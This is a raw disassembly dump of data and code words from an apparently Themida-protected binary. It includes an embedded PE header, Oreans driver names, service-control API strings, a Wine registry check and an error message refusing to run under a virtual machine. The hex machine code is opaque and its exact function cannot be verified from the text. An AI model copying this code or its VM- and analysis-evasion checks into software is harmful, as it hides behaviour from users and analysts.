		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 1A5985C6h
		dd 68430614h, 0BC8E6EFCh, 1145B5FFh, 858D0614h,	6143B13h
		dd 0B58DD0FFh, 61411A9h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 141A5985h, 56685706h
		dd 0FFA69BEEh, 141145B5h, 13858D06h, 0FF06143Bh, 0C5BD8DD0h
		dd 8D06141Ch, 16C0E38Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0C5B58D00h, 8D0616BDh, 16A99A85h
		dd 8DD0FF06h, 1470F08Dh, 0B806h, 0E1FF0000h, 1A5985C6h
		dd 68430614h, 0C0764AA7h, 1145B5FFh, 858D0614h,	6143B13h
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 736h dup(0)
		db 0
byte_5779ED	db 3 dup(0)		; DATA XREF: Themida_:0054BA68o
					; Themida_:0054BD14o
		dd 28Ch	dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0B7E90000h
		dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh
		dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h
		dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h
		dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh
		dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h
		dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h
		dd 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 4
		dd 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h
dword_5794A8	dd 94h,	5, 1, 0A28h, 2,	21h dup(0) ; DATA XREF:	Themida_:00549210o
					; Themida_:0054AC28o
aSoftwareWine	db 'Software\Wine',0
aLS_1		db '▀дИ',8,0
		align 4
		dd 63925B00h, 707262E6h, 87B95151h, 59314502h, 21898589h
		dd 0BD8B0614h, 614226Dh, 0D980C08Bh, 0B1BD834Ah, 61430h
		dd 0BD830975h, 6141AE1h, 50197400h, 0B8C08B53h,	43Dh, 1A498589h
		dd 9D8D0614h, 616B73Ah,	585BD3FFh, 1AE1BD83h, 74000614h
		dd 0B8535017h, 43Dh, 1A498589h,	9D8D0614h, 616B429h, 585BD3FFh
		dd 8BFE8B66h, 140EF595h, 0E9C08B06h, 0Bh, 0F3FB98BCh, 1E0D2111h
		dd 8B0A076Ah, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 83CF8B7Fh, 1430B1BDh, 9750006h, 1AE1BD83h
		dd 74000614h, 8B535013h, 0B8C0h, 9D8D0000h, 616B5DCh, 585BD3FFh
		dd 1AE1BD83h, 74000614h, 0B8535011h, 0
		dd 0B48D9D8Dh, 0D3FF0616h, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 958B69C3h
		dd 6142225h, 0BD33C08Bh, 6142039h, 0FE9C08Bh, 73000000h
		dd 45B1E130h, 39814F83h, 0F6C3CFB7h, 0BD83A1A4h, 61430B1h
		dd 83097500h, 141AE1BDh, 13740006h, 0C08B5350h,	0B8h, 0E9D8D00h
		dd 0FF0616B5h, 83585BD3h, 141AE1BDh, 11740006h,	0B85350h
		dd 8D000000h, 16B45B9Dh, 5BD3FF06h, 0EE958h, 0CA410000h
		dd 0EA5BDB5Bh, 6B026BE1h, 0D5DAF1B5h, 28D0Fh, 8FB10000h
		dd 6E9C08Bh, 0F2000000h, 9E04834Ch, 8BC08B91h, 143165BDh
		dd 0B1BD8306h, 61430h, 0BD830975h, 6141AE1h, 50137400h
		dd 0B8C08B53h, 0
		dd 0B5759D8Dh, 0D3FF0616h, 0BD83585Bh, 6141AE1h, 50117400h
		dd 0B853h, 9D8D0000h, 616B474h,	585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C9C35646h, 0A86AE916h
		dd 9317482Fh, 18D8BA8h,	0E806140Bh, 0Ah, 6D70BE41h, 69220CDCh
		dd 0B70F66ECh, 14E959CEh, 89000000h, 0FAC3B3F4h, 95EE7123h
		dd 0CA6BE949h, 4F48F7ADh, 0FC93B7Ch, 68Ch, 0E5852900h
		dd 8B061431h, 0ACBF66C0h, 53C08BB4h, 0BE8h, 5A575100h
		dd 225A35CCh, 0A6EA0EB7h, 14A58D2Bh, 59590614h,	1058D8Bh
		dd 0BD830614h, 61430B1h, 83097500h, 141AE1BDh, 13740006h
		dd 0C08B5350h, 0B8h, 0A79D8D00h, 0FF0616B4h, 57585BD3h
		dd 0B58D8951h, 5F06142Ah, 0D5BD8B59h, 8B061419h, 8B19B6C0h
		dd 12840FC0h, 0E9000000h, 0Dh, 894D8B8Eh, 736DD12Ah, 2445480Dh
		dd 0B1BD833Fh, 61430h, 0BD830975h, 6141AE1h, 50197400h
		dd 0B8C08B53h, 7D0h, 1A498589h,	9D8D0614h, 616B73Ah, 585BD3FFh
		dd 1AE1BD83h, 74000614h, 0B8535017h, 7D0h, 1A498589h, 9D8D0614h
		dd 616B429h, 585BD3FFh,	6EA171BFh, 51006A65h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 5D1912FEh
		dd 0C08BFC05h, 0F236EFB9h, 5985C615h, 5306141Ah, 31ED958Bh
		dd 90680614h, 6699395Fh, 0FFFD36B9h, 141145B5h,	418D8B06h
		dd 8906140Bh, 142CF58Dh, 13858D06h, 0E806143Bh,	12h
dword_5798B0	dd 672F8D01h, 6D12AA13h, 0A46D0876h, 0DEE5EC96h, 0EE926BFh
					; DATA XREF: Themida_:0054AF30o
		dd 0B8000000h, 0AF38C6DAh, 7887EA09h, 0F63173D1h, 0D0FF5F8Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B7C35646h
		dd 8589F565h, 6142361h,	6E960h,	0F440000h, 812F3720h, 8061D18Bh
		dd 85C6E2C2h, 6141A59h,	52006A57h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 1AA202Ch, 6146023Ch, 8C5BD03h
		dd 6680614h, 0E8900452h, 7, 0CF60E681h,	1BAD6D2h, 14098D85h
		dd 958B5906h, 6143105h,	1145B5FFh, 8B660614h, 13858DCFh
		dd 6A06143Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 78AC357h, 1BD6D5EAh, 0BF1FAABEh
		dd 16B90DD5h, 8D89D0FFh, 6142351h, 52B4F181h, 858976ADh
		dd 6142B19h, 2918D31h, 85C60614h, 6141A59h, 51006A43h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0D3BF0FC0h, 286865B6h, 33BC9070h, 141521BDh,	45B5FF06h
		dd 6A061411h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 3494C350h, 0B588356Ah,	58EDA70h
		dd 3B13858Dh, 0D0FF0614h, 0A15B50B9h, 0C781664Bh, 8589CCD4h
		dd 6143075h, 1A5985C6h,	6A4C0614h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6226C355h
		dd 419C6932h, 6852ADA7h, 0D9DA1CE9h, 727D81BFh,	45B5FF72h
		dd 8B061411h, 142CA5BDh, 13858D06h, 6A06143Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0B86FC352h, 0E31C44C0h, 0E981A2BEh, 5E015329h, 2870Fh
		dd 90B20000h, 8D23D0FFh, 614226Dh, 2F958589h, 958B0614h
		dd 6142249h, 1A5985C6h,	68460614h, 0BADE0614h, 18F58D8Bh
		dd 0B5FF0614h, 6141145h, 31D98589h, 858D0614h, 6143B13h
		dd 0BFD0FFF5h, 61AEAEE4h, 8E9h,	4F285C00h, 1D74245Ch, 59858959h
		dd 8906141Bh, 141FC9BDh, 5985C606h, 4706141Ah, 5E960h
		dd 95AD0000h, 0B4592D16h, 0E26861EBh, 0E88A0FB5h, 0Eh
		dd 0B0A188E1h, 8E10E6B1h, 64512523h, 0E980D063h, 0DE95FDDh
		dd 0B1000000h, 0EF50BC0Eh, 0CA262E56h, 0A72E599Ah, 1145B5FFh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 6C38BDC3h, 80F67A35h, 0F8B16AEEh,	3B13858Dh
		dd 810F0614h, 6, 0ADD7D281h, 0D0FF6E99h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 58C35040h, 0D239A23Fh
		dd 8B665310h, 0BF0F5FCEh, 458589C9h, 6006141Dh,	6149E480h
		dd 1A5985C6h, 57470614h, 45E28166h, 0F3685F95h,	6A83D0B5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 449AC353h, 0E346642Eh, 52586EA8h,	94D78166h
		dd 3D85890Bh, 0FF061403h, 141145B5h, 0A5BD0906h, 8D061405h
		dd 143B1385h, 0D4EA8106h, 0FF43B5FCh, 662EBAD0h, 85897027h
		dd 6142F55h, 0E498D89h,	85C60614h, 6141A59h, 0E1816677h
		dd 0A368F03Eh, 6AF397A8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0BAFFC350h,	4EA70CCFh
		dd 0FFB41DF1h, 140931B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0DE8306Bh
		dd 4E000000h, 0D1FBDECh, 169AD9BCh, 0F7BC8304h,	16F58D8Bh
		dd 8D590614h, 143B1385h, 9D8B6006h, 6140539h, 2BA9B589h
		dd 0FF610614h, 559589D0h, 8906142Dh, 14150985h,	0DDB58906h
		dd 0E8061408h, 12h, 119046D3h, 577A7C80h, 3AFA08BDh, 71673DCEh
		dd 9589250Ah, 6142F6Dh,	5985C65Ah, 4706141Ah, 0FAF668F5h
		dd 0FFF58728h, 141145B5h, 0EDBA6606h, 13858D79h, 6A06143Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7E05C357h, 57657EF5h, 0FF244A0Eh,	5DBF66D0h
		dd 8585893Dh, 6006140Ch, 0CE8h,	0B131F400h, 0D1DE7FB5h
		dd 0AD4D6739h, 0BEBCBF30h, 665F6DDDh, 0C661D88Bh, 141A5985h
		dd 6A4306h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0FDCF11C3h, 6890FE9h, 29000000h, 1424298Dh
		dd 0BD9D0906h, 68061406h, 0BC8E6EFCh, 1579A4B9h, 45B5FF5Fh
		dd 80061411h, 858DFDF1h, 6143B13h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 93C35545h, 830F914Fh, 14h
		dd 9E8h, 0D14FD300h, 4DE6C418h,	0DBBF8036h, 5F05F74Fh
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 6E6199C3h, 9D899FD7h, 6140401h, 0DE9h, 96AF9F00h
		dd 2E61D955h, 7AA76BFh,	8589A1CAh, 6140681h, 31359501h
		dd 85C60614h, 6141A59h,	95896045h, 6142E89h, 35219D89h
		dd 68610614h, 8E726969h, 0B5FFCB8Bh, 6141145h, 0BD235756h
		dd 61405C9h, 858D595Ah,	6143B13h, 5E8h,	0B9301B00h, 8A6058E1h
		dd 615857C6h, 8BD0FF5Ah, 142C6D95h, 0F9858906h,	0E906142Eh
		dd 0Ch,	1481B0D1h, 0B1CC1692h, 855F1D4Ah, 1A5985C6h, 0F440614h
		dd 68Fh, 3DBD8B00h, 2B06140Fh, 141CCDBDh, 0EC646806h, 0BF66B8F2h
		dd 0B5FF4678h, 6141145h, 1385B589h, 0B5890614h,	6143215h
		dd 3B13858Dh, 8D8B0614h, 6140091h, 0C981D0FFh, 5FC0613Fh
		dd 0B618589h, 8C0F0614h, 6, 23D99509h, 85C60614h, 6141A59h
		dd 4089B943h, 950B3AC7h, 6142409h, 764AA768h, 73BDBFC0h
		dd 0B5FF4BF0h, 6141145h, 13858DF9h, 0FF06143Bh,	0BD8D89D0h
		dd 89061423h, 14308185h, 7E806h, 7F70000h, 35504231h, 5F19B686h
		dd 4A6BD80h, 0F000617h,	0C384h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 988A8D6Ah
		dd 8DCC8F89h, 17048885h, 81666006h, 8AE288D2h, 895061FCh
		dd 141155B5h, 8B016A06h, 1401CD8Dh, 0E8006A06h,	5, 7715870Dh
		dd 0EE9F3h, 0D3CA0000h,	0E953F505h, 3895878Dh, 2F3FFB14h
		dd 81006A5Ah, 0C9E5FEF1h, 7595FF78h, 0F061430h,	83h, 99858900h
		dd 0F061402h, 82h, 0B6FF6A00h, 99B5FF27h, 3061402h, 140E258Dh
		dd 55B50906h, 0FF061431h, 142B1995h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 6061BA91h
		dd 50CFBF0Fh, 615BA3B6h, 0BF66C08Bh, 0BD83F248h, 61430B1h
		dd 83097500h, 141AE1BDh, 19740006h, 0C08B5350h,	7D1B8h
		dd 49858900h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h
		dd 6141Ah, 53501774h, 7D1B8h, 49858900h, 8D06141Ah, 16B4299Dh
		dd 5BD3FF06h, 0DEDDB958h, 0BD8939C0h, 6142329h,	81666050h
		dd 8964ADD1h, 140ED19Dh, 8B5A6106h, 61F860C0h, 1A5985C6h
		dd 0B9470614h, 3ADDE948h, 0C8F7C168h, 0B5FFF593h, 6141145h
		dd 3B13858Dh, 0E7810614h, 7C8AA225h, 0FE9h, 0D7260500h
		dd 0C23DCB67h, 0D0D137B2h, 3E10365Dh, 0BA50D0FFh, 17096002h
		dd 8C9858Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0F95632C3h
		dd 0C73FB15Ah, 9400h, 0E88A5000h, 6A585Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9D635FC3h
		dd 0C9B58DCFh, 89061708h, 141D718Dh, 6A5606h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 98A89DC3h
		dd 0E772A317h, 0D0FF396Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 15C35747h, 717C0D5Fh,	0B967F5B1h, 56041AB7h
		dd 25999529h, 858D0614h, 61708C9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0A1C35242h,	0D94C90EBh, 0D18166CAh
		dd 0E281CF5Eh, 7448E8ABh, 0C2B4DDB9h, 478836Dh,	5B850F06h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0E848C350h, 93537775h,	14E8C4h
		dd 3FBA0000h, 0CB7D5B54h, 0BFED3A33h, 1F4BF87Fh, 8F2495CBh
		dd 840FDA31h, 6, 116DBD2Bh, 665F0614h, 85C7D08Bh, 617095Dh
		dd 1, 23158D09h, 0BD830614h, 6142CBDh, 7A850F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0F02C351h, 0D1BD0160h, 2B061414h,	1402A595h
		dd 0BD836106h, 617095Dh, 42850F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0A104C352h, 0C710D554h, 3DBD8347h, 61400h, 13840Fh
		dd 0F6800000h, 9585C7B8h, 6142Bh, 29000000h, 1425B585h
		dd 0DB8C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	21C35343h, 2179184Ch, 65310065h, 0C2C1B966h, 0F04C3F6h
		dd 52D84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 34BDABE3h, 35958960h, 8B06140Bh
		dd 1423A1B5h, 0BD8B6106h, 6140629h, 12CD85C7h, 614h, 800F0000h
		dd 19h,	14E9h, 80A85500h, 8CEAEC6Dh, 65564482h,	4A85DFFFh
		dd 2607D6E9h, 0B3BD80C1h, 61704h, 6850Fh, 85890000h, 6141A25h
		dd 1A5985C6h, 8B470614h, 1430E995h, 5B866806h, 5CBAE3E4h
		dd 0FF0DE5ACh, 141145B5h, 1958B06h, 8D061409h, 143B1385h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 20CE2733h, 9D2C5FCh, 14149195h, 0EE906h
		dd 0A120000h, 0DABD0998h, 0E53F11C9h, 7403BB0Fh, 1BB9958Bh
		dd 0D0FF0614h, 683CE280h, 104h,	9D8DF98Bh, 61411A9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 48C35747h, 8EB1E864h
		dd 414DD3F2h, 6E8h, 6EB5C600h, 896510E3h, 14147585h, 1535906h
		dd 1413DD85h, 8BD0FF06h, 1424D9BDh, 0A9858D06h,	6A061411h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 6772C352h, 0F5B2883Ch, 0F280CB1Ah, 0A5958B4Ah
		dd 5006142Fh, 0E473B966h, 465858Dh, 12E80617h, 0BC000000h
		dd 86238199h, 57D9838Fh, 2D4DE792h, 9B1523FEh, 5FCE8A25h
		dd 50D7B70Fh, 41958B52h, 5906141Bh, 0FB38858Dh,	0EA810616h
		dd 2CFD229Eh, 3F57D181h, 89501F32h, 1415E985h, 995FF06h
		dd 0E9061415h, 10h, 0D63B535Fh,	868F6331h, 0E1AB8733h
		dd 42B7365Ah, 2B0CC483h, 1406658Dh, 68006A06h, 80h, 6A036Ah
		dd 68006Ah, 8D800000h, 16FB3885h, 95FF5006h, 6140681h
		dd 4488589h, 85C60617h,	6141A59h, 5E876847h, 0B5FFC7B1h
		dd 6141145h, 3B13858Dh,	0D0FF0614h, 0B5FF006Ah,	6170448h
		dd 0CA81D0FFh, 111EAAFh, 37D03Dh, 41830F00h, 8B000000h
		dd 48B5FFD3h, 0F061704h, 8Eh, 8195FF00h, 60061430h, 23219589h
		dd 0FE90614h, 0AE000000h, 0A1710C21h, 0E885F53Fh, 89A0BF08h
		dd 8B610AE7h, 142B458Dh, 0AEE906h, 0BD8B0000h, 6140869h
		dd 448B5FFh, 0B70F0617h, 8195FFFFh, 60061430h, 31D5BD8Bh
		dd 81520614h, 7FE943CBh, 8B615B78h, 8B006AD6h, 140BB595h
		dd 6A006A06h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 8380C350h, 0FA15158h, 68Eh, 0A5BD8B00h
		dd 6A061414h, 0F88B6600h, 12E9006Ah, 0C1000000h, 8C602DA7h
		dd 0C60CC030h, 0B735038Ah, 3F8BB0FBh, 8B006A3Fh, 142FB995h
		dd 0F8006A06h, 44C858Dh, 81500617h, 31097AE7h, 8195FF55h
		dd 2B061406h, 141CC195h, 0FFF88306h, 114850Fh, 8D090000h
		dd 61414C9h, 0BFD8858Dh, 0EE90616h, 9E000000h, 0AE58CAACh
		dd 16DAE867h, 6CE41A44h, 33D0FF41h, 142B9D95h, 0E8006A06h
		dd 0Ah,	0CAD91C5h, 0B7A0AD3Dh, 870F437Ch, 17h, 12E9h, 0CB883B00h
		dd 1D41B2DCh, 526A9B44h, 54A652B5h, 5FD355F0h, 6AF98Bh
		dd 30E9B589h, 6A0614h, 0C51958Bh, 6A0614h, 1A25B589h, 6A0614h
		dd 6840Fh, 0BD8B0000h, 6140271h, 289958Bh, 6A0614h, 91BF6653h
		dd 0AE9596Fh, 0A3000000h, 3475AC8h, 5C020260h, 4C858DA9h
		dd 0F061704h, 68Bh, 0DDBD8B00h,	50061410h, 0F119D89h, 95FF0614h
		dd 6140681h, 23EDB589h,	0DF810614h, 7F80F064h, 0FFFF883h
		dd 4585h, 927BB900h, 0B58D10BFh, 616FE54h, 5E8h, 0EE5A2900h
		dd 810FD868h, 2, 8D5FCA8Bh, 16A99A85h, 88D9B906h, 0D0FF4990h
		dd 1C3D8589h, 6A0614h, 2A798589h, 95FF0614h, 6142EF9h
		dd 1A21B589h, 85890614h, 6170448h, 294D8D89h, 860F0614h
		dd 6, 4831EF81h, 6A030Ch, 94E5B966h, 440858Dh, 6A0617h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F120F9C3h, 7B3A095Fh, 6A508627h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A497C352h
		dd 0FBBA5370h, 89F82C55h, 140B798Dh, 0E8046A06h, 0Eh, 0CFE07DEEh
		dd 8E1FE852h, 0B6B44FF0h, 0BE86BA8h, 84000000h,	0B1668E7Dh
		dd 935790DCh, 858916E8h, 61429E9h, 858D5A5Fh, 6142421h
		dd 0DE950h, 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 6A9F3790h
		dd 66006A00h, 9D29D68Bh, 6142615h, 8960016Ah, 1400C195h
		dd 0D1B58906h, 6106140Bh, 448B5FFh, 14E90617h, 2E000000h
		dd 2C4153ADh, 0CCCF7AC4h, 0E252F918h, 5937CAF5h, 0FF334521h
		dd 140B6195h, 418D0B06h, 0E9061411h, 1B7Dh, 18E1BD8Bh
		dd 0C08B0614h, 2A5BD89h, 0BD830614h, 61430B1h, 83097500h
		dd 141AE1BDh, 19740006h, 0C08B5350h, 7D2B8h, 49858900h
		dd 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h,	6141Ah
		dd 53501774h, 7D2B8h, 49858900h, 8D06141Ah, 16B4299Dh
		dd 5BD3FF06h, 0B6BA6658h, 0D1BD89D8h, 66061404h, 1062C981h
		dd 0BD8BC08Bh, 614052Dh, 12CD85C7h, 10614h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B8F54C3h, 1412B1BDh, 0E7B86806h, 0B5FFCEE4h, 6143481h
		dd 3B13858Dh, 0D0FF0614h, 3A58589h, 858D0614h, 61706A4h
		dd 61858D50h, 50061709h, 168h, 0A595FF80h, 0B061403h, 0C70A75C0h
		dd 14033985h, 106h, 0DBD46800h,	0B5FFC005h, 6143481h, 3B13858Dh
		dd 0D0FF0614h, 2ED8589h
		dd 858D0614h, 616F8F1h,	45B5FF50h, 0FF061411h, 141D4595h
		dd 74C00B06h, 8DD88B0Bh, 1708A485h, 0D3FF5006h,	8A4858Dh
